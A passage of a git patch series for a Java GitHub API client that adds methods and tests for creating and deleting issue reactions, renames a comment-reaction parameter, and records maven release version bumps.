+55,6 @@ public class IssueClient { /** * Constructs an IssueClient. - * * @param github the GitHub client * @param owner the repository owner * @param repo the repository name @@ -260,14 +261,14 @@ public CompletableFuture createCommentReaction( * href="https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#delete-an-issue-comment-reaction">List * reactions for an issue comment * - * @param issueNumber the issue number + * @param commentId the comment id * @param reactionId the reaction id * @return a CompletableFuture containing the HTTP response */ public CompletableFuture deleteCommentReaction( - final long issueNumber, final long reactionId) { + final long commentId, final long reactionId) { final String path = - String.format(COMMENTS_REACTION_ID_TEMPLATE, owner, repo, issueNumber, reactionId); + String.format(COMMENTS_REACTION_ID_TEMPLATE, owner, repo, commentId, reactionId); return github.delete(path); } @@ -284,4 +285,35 @@ public GithubPageIterator listCommentReaction(final long commen return new GithubPageIterator<>( new GithubPage<>(github, path, LIST_COMMENT_REACTION_TYPE_REFERENCE)); } + + /** + * Creates a reaction on an issue. + * + * @param issueNumber the issue number + * @param reaction the reaction content + * @return a CompletableFuture containing the created reaction + */ + public CompletableFuture createIssueReaction( + final long issueNumber, final CommentReactionContent reaction) { + final String path = String.format(ISSUES_REACTION_TEMPLATE, owner, repo, issueNumber); + final String requestBody = + github.json().toJsonUnchecked(ImmutableMap.of("content", reaction.toString())); + return github.post(path, requestBody, CommentReaction.class); + } + + /** + * Deletes a reaction on an issue. See Delete + * an issue reaction + * + * @param issueNumber the issue number + * @param reactionId the reaction id + * @return a CompletableFuture containing the HTTP response + */ + public CompletableFuture deleteIssueReaction( + final long issueNumber, final long reactionId) { + final String path = + String.format(ISSUES_REACTION_ID_TEMPLATE, owner, repo, issueNumber, reactionId); + return github.delete(path); + } } diff --git a/src/test/java/com/spotify/github/v3/clients/IssueClientTest.java b/src/test/java/com/spotify/github/v3/clients/IssueClientTest.java index 1007e8b7..65ac3054 100644 --- a/src/test/java/com/spotify/github/v3/clients/IssueClientTest.java +++ b/src/test/java/com/spotify/github/v3/clients/IssueClientTest.java @@ -217,15 +217,15 @@ public void testCreateIssueCommentReaction(CommentReactionContent reaction) { @Test public void testDeleteIssueCommentReaction() { - long issueNumber = 42; + long commentId = 42; long reactionId = 385825; final String path = - format(COMMENTS_REACTION_ID_TEMPLATE, "someowner", "somerepo", issueNumber, reactionId); + format(COMMENTS_REACTION_ID_TEMPLATE, "someowner", "somerepo", commentId, reactionId); HttpResponse mockResponse = mock(HttpResponse.class); when(mockResponse.statusCode()).thenReturn(204); when(github.delete(eq(path))).thenReturn(completedFuture(mockResponse)); - final var response = issueClient.deleteCommentReaction(issueNumber, reactionId).join(); + final var response = issueClient.deleteCommentReaction(commentId, reactionId).join(); assertThat(response.statusCode(), is(204)); assertThat(response, is(mockResponse)); @@ -271,6 +271,49 @@ public void testListIssueCommentReaction() throws IOException { verify(github, atLeastOnce()).request(eq(path)); } + @ParameterizedTest + @EnumSource(CommentReactionContent.class) + public void testCreateIssueReaction(CommentReactionContent reaction) { + long issueNumber = 42; + final CompletableFuture reactionResponse = + completedFuture( + ImmutableCommentReaction.builder() + .id(123L) + .content(reaction) + .user(ImmutableUser.builder().login("octocat").build()) + .build()); + final String path = format(ISSUES_REACTION_TEMPLATE, "someowner", "somerepo", issueNumber); + final String requestBody = + github.json().toJsonUnchecked(ImmutableMap.of("content", reaction.toString())); + when(github.post(eq(path), eq(requestBody), eq(CommentReaction.class))) + .thenReturn(reactionResponse); + + final var issueReaction = issueClient.createIssueReaction(issueNumber, reaction).join(); + + assertThat(issueReaction.id(), is(123L)); + assertNotNull(issueReaction.user()); + assertThat(issueReaction.user().login(), is("octocat")); + assertThat(issueReaction.content().toString(), is(reaction.toString())); + verify(github, times(1)).post(eq(path), eq(requestBody), eq(CommentReaction.class)); + } + + @Test + public void testDeleteIssueReaction() { + long issueNumber = 42; + long reactionId = 385825; + final String path = + format(ISSUES_REACTION_ID_TEMPLATE, "someowner", "somerepo", issueNumber, reactionId); + HttpResponse mockResponse = mock(HttpResponse.class); + when(mockResponse.statusCode()).thenReturn(204); + when(github.delete(eq(path))).thenReturn(completedFuture(mockResponse)); + + final var response = issueClient.deleteIssueReaction(issueNumber, reactionId).join(); + + assertThat(response.statusCode(), is(204)); + assertThat(response, is(mockResponse)); + verify(github, times(1)).delete(eq(path)); + } + @Test public void testGetIssueNoIssue() { final String path = format(ISSUES_URI_ID_TEMPLATE, "someowner", "somerepo", 2); From 04b58c0ecb7d42114dcb9d76df57853e7c478a8f Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Tue, 5 Aug 2025 08:37:11 +0000 Subject: [PATCH 14/15] [maven-release-plugin] prepare release v0.4.12 --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index 897a4ad2..f7397cf1 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-java-client github-client - 0.4.12-SNAPSHOT + 0.4.12 com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.3.7 + v0.4.12 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1753693712 + 1754382935 spotbugsexclude.xml error checkstyle.xml From ef607b09730a56837abde547b57c5af8c349dcaa Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Tue, 5 Aug 2025 08:37:13 +0000 Subject: [PATCH 15/15] [maven-release-plugin] prepare for next development iteration --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index f7397cf1..b8138ade 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-java-client github-client - 0.4.12 + 0.4.13-SNAPSHOT com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.4.12 + v0.3.7 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1754382935 + 1754383033 spotbugsexclude.xml error checkstyle.xml